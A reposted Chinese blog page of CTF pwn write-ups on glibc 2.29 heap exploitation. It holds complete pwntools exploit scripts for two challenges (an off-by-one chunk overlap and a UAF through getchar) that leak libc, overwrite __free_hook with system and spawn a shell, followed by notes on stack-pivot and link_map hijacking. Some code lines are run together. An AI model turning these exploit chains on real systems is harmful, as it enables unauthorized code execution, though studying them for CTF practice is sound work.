glibc-2.29

2024-01-15 17:48
文章标签 glibc 2.29

本文主要是介绍glibc-2.29,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

2019 湖湘杯线下 pwn2

off by one ,可以修改size,形成chunk overlap。(好像没用到新保护机制)

#-*- coding:utf-8 -*-
from PwnContext import *try:from IPython import embed as ipy
except ImportError:print ('IPython not installed.')#context.terminal = ['tmux', 'splitw', '-h'] # uncomment this if you use tmux
# functions for quick script
s       = lambda data               :ctx.send(str(data))
sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
sl      = lambda data               :ctx.sendline(str(data)) 
sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
r       = lambda numb=4096          :ctx.recv(numb)
ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
irt     = lambda                    :ctx.interactive()
rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
uu32    = lambda data   :u32(data.ljust(4, '\0'))
uu64    = lambda data   :u64(data.ljust(8, '\0'))debugg = 1
logg = 0
ctx.binary = './pwn2'
libc = ELF('/home/leo/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so')
ctx.custom_lib_dir = '/home/leo/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/'#remote libc
ctx.remote_libc = '/home/leo/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so'
ctx.debug_remote_libc = Truectx.symbols = {'lst':0x4060}if debugg:rs()if logg:context.log_level='debug'
def add(idx,sz,c):sla('> ',1)sla('idx:',idx)sla('size:',sz)sa('cnt:',c)
def free(idx):sla('> ',2)sla('idx:',idx)
def edit(idx,c):sla('> ',3)sla('idx:',idx)sa('cnt:',c)
def show(idx):sla('> ',4)sla('idx:',idx)
def backdoor(c):sla('> ',5)sa('Because I know you are 666!',c)
add(1,0x88,'a'*0x88)
add(2,0x428,'a'*0x428)
add(0,0x80,'a'*0x80)
add(3,0x233,'a'*0x233)
add(4,0x428,'a'*0x428)
add(5,0x88,'/bin/sh\x00'+'\n')
edit(1,'a'*0x88+p16(0xb31))
free(3)
free(2)
add(6,0x428,'c'*16+'\n')
show(0)
lb = uu64(ru('\x7f',drop=False))-0x1e4ca0
fh = libc.sym['__free_hook']+lb
sys = libc.sym['system']+lb
success(hex(lb))
add(7,0x100,'a'*0x88+p64(0x241)+p64(fh)[:7]+'\n')backdoor('b'*8)
backdoor(p64(sys))
free(5)irt()

D^3CTF new_heap

没有设置setbuf(stdin,0)缓冲区,利用getchar()申请malloc(0x1000)构成UAF的巧用。

#-*- coding:utf-8 -*-
from PwnContext import *try:from IPython import embed as ipy
except ImportError:print ('IPython not installed.')#context.terminal = ['tmux', 'splitw', '-h'] # uncomment this if you use tmux
# functions for quick script
s       = lambda data               :ctx.send(str(data))
sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
sl      = lambda data               :ctx.sendline(str(data)) 
sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
r       = lambda numb=4096          :ctx.recv(numb)
ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
irt     = lambda                    :ctx.interactive()
rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
uu32    = lambda data   :u32(data.ljust(4, '\0'))
uu64    = lambda data   :u64(data.ljust(8, '\0'))debugg = 1
logg = 0
ctx.binary = './new_heap'
libc = ELF('/home/leo/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so')
ctx.custom_lib_dir = '/home/leo/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/'#remote libc
ctx.remote_libc = '/home/leo/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so'
ctx.debug_remote_libc = Truectx.symbols = {'lst':0x202060}if debugg:rs()
if logg:context.log_level='debug'
def add(sz,c):sla('3.exit',1)sla('size:',sz)sa('content:',c)
def free(idx):sla('3.exit',2)sla('index:',idx)ru('good present for African friends:')
low_heap = int(ru('\n',drop=True),16)
success(hex(low_heap))add(0x78,'0')
add(0x78,'1')
add(0x78,'2')
add(0x78,'3')
add(0x78,'4')
add(0x78,'5')
add(0x78,'6')
add(0x78,'7')
for i in range(7):free(i)
free(7)
sla('3.exit',3)#7
sl('a')#malloc(0x1000)
add(0x10,'8')#top chunkfree(7)
add(0x68,'9')
add(0x68,'10')
add(0x68,'11')
free(11)
free(10)
free(7)#free(7) or free(9)sla('3.exit',3)#7
sla('sure?','a'*0x30)
fd = low_heap>>4<<12 | 0x730 #libc
sla('3.exit',3)#7
sa('sure?',p16(fd))
stdout = 0x1760
dbg()
ipy()add(0x20,p16(stdout))
add(0x68,'13')#13
add(0x68,'14')#14
add(0x68,p64(0xfbad1800)+p64(0)*3+'\xc8')
lb = uu64(r(6))-0x1e4a00
success(hex(lb))free(7)
fh = libc.sym['__free_hook']+lb
sys = libc.sym['system']+lb
success(hex(fh))
sla('3.exit',3)#7
sa('sure?',p64(fh))
sla('3.exit',3)#7
sa('sure?',p64(fh))
add(0x68,'/bin/sh\x00')#16
add(0x68,p64(sys))
free(16)irt()

然而在我们控了free_hook以后,我们发现libc-2.29中没有可以利用rdi控制rsp进行迁栈的gadget,所以使用了其它方法。IO_wfile_sync函数可以利用rdi控制rdx,函数setcontext+0x35处可以用rdx控rsp,两个搭配使用就可以进行迁栈。在IO_wfile_sync+0x6d处有call [r12+0x20],这里的r12也是可以用rdi控制的,所以可以利用这条指令调用setcontext+0x35,实现free_hook -> IO_wfile_sync -> setcontext+0x35。https://www.anquanke.com/post/id/210160

劫持link_map

1、smallbin attack 攻击global_max_fast

2、fastbin attack 劫持topchunk

3、伪造link_map结构,调用setcontext+0x3d

4、ROP

https://www.anquanke.com/post/id/211331

这篇关于glibc-2.29的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/609713

相关文章

Gnu: binutils: ld: .gnu.warning.链接时的主动警告 glibc

这个是一个gnu的extension,glibc会使用这个功能,标记即将被淘汰的符号,产生链接时的警告,比如: /* When a reference to SYMBOL is encountered, the linker will emit awarning message MSG. *//* We want the .gnu.warning.SYMBOL section to be u

uclibc和glibc区别

uClibc和Glibc并不相同,两者有许多不同之处,而且以下不同有可能给你带来一些问题. 1.uClibc比Glibc小,虽然uClibc和Glibc在已有的接口上是兼容的,而且采用uClibc编译应用程序比采用Glibc编译应用程序要更方便,但是uClibc并没有包括Glibc中的所有接口实现,因此有些应用可能在uClibc中不能编译。 2.uClibc在可配置性上比Glibc要好。

Linux系统报错“version ‘GLIBC_2.34‘ not found”解决方法

注意,此文章慎用,glibc不可随意升级,可能导致系统崩溃  一、查看版本 ldd --version 二、添加高版本源 sudo vi /etc/apt/sources.list.d/my.list   进入编辑页面 "i"键进入插入模式  输入源 deb http://th.archive.ubuntu.com/ubuntu jammy main "ctrl

glibc fread函数源码剖析

最近看APUE,看到了fread函数,就把之前想分析的一个函数借这个机会研究一下。 先写个程序,调用一下fread函数。 #include <stdio.h>int main(){char strbuf[12];FILE* fp;fp = fopen("./temp","r");fread(strbuf,sizeof(char),11,fp);return 0;} 好了,还是咱们的

Understanding glibc malloc

https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/comment-page-1/

linux查看glibc版本方法

标准C语言函数库的实现随UNIX的实现而异。GNU C语言函数库glibc是Linux 上最常用的实现。 使用命令行来进行查看。 在命令行输入ldd --version 如图下所示,所使用的版本是2.23

linux:centos7升级glibc到2.36

# 安装依赖的东东 yum install -y gcc gcc-c++ glibc-devel openssl-devel openssl-static zlib-devel lzma tk-devel xz-devel bison bzip2 bzip2-devel ncurses-devel gdbm-devel readline-devel sqlite-devel libffi-dev

IO-源码阅读 glibc 2.35

文章目录 参考缓存机制IO_FILE_PLUSfopenfopen_internal_IO_no_init_IO_old_init _IO_new_file_init_internal_IO_link_in _IO_new_file_fopen_IO_file_open fread_IO_fread_IO_sgetn_IO_doallocbuf_IO_file_doallocate_IO_

CTF-PWN-IO-源码阅读 glibc 2.35

文章目录 参考缓存机制IO_FILE_PLUSfopenfopen_internal_IO_no_init_IO_old_init _IO_new_file_init_internal_IO_link_in _IO_new_file_fopen_IO_file_open fread_IO_fread_IO_sgetn_IO_doallocbuf_IO_file_doallocate_IO_

2.29G大小Win 11系统来了,老爷机也能焕发第二春

Win 11 推出近三年以来微软大搞特搞的份额入侵计划,以目前情况来看算是彻底失败了。 国外知名机构 statcounter 最近公布了 4 月份 Windows 各版本份额调查结果。 其中显示,Win 11 占比 26% 左右,相较 2 月份 28% 反而开起了倒滑车。 来源:statcounter 与之相反的是,Win 10 占比由 2 月的 67.26% 大涨至 69.89%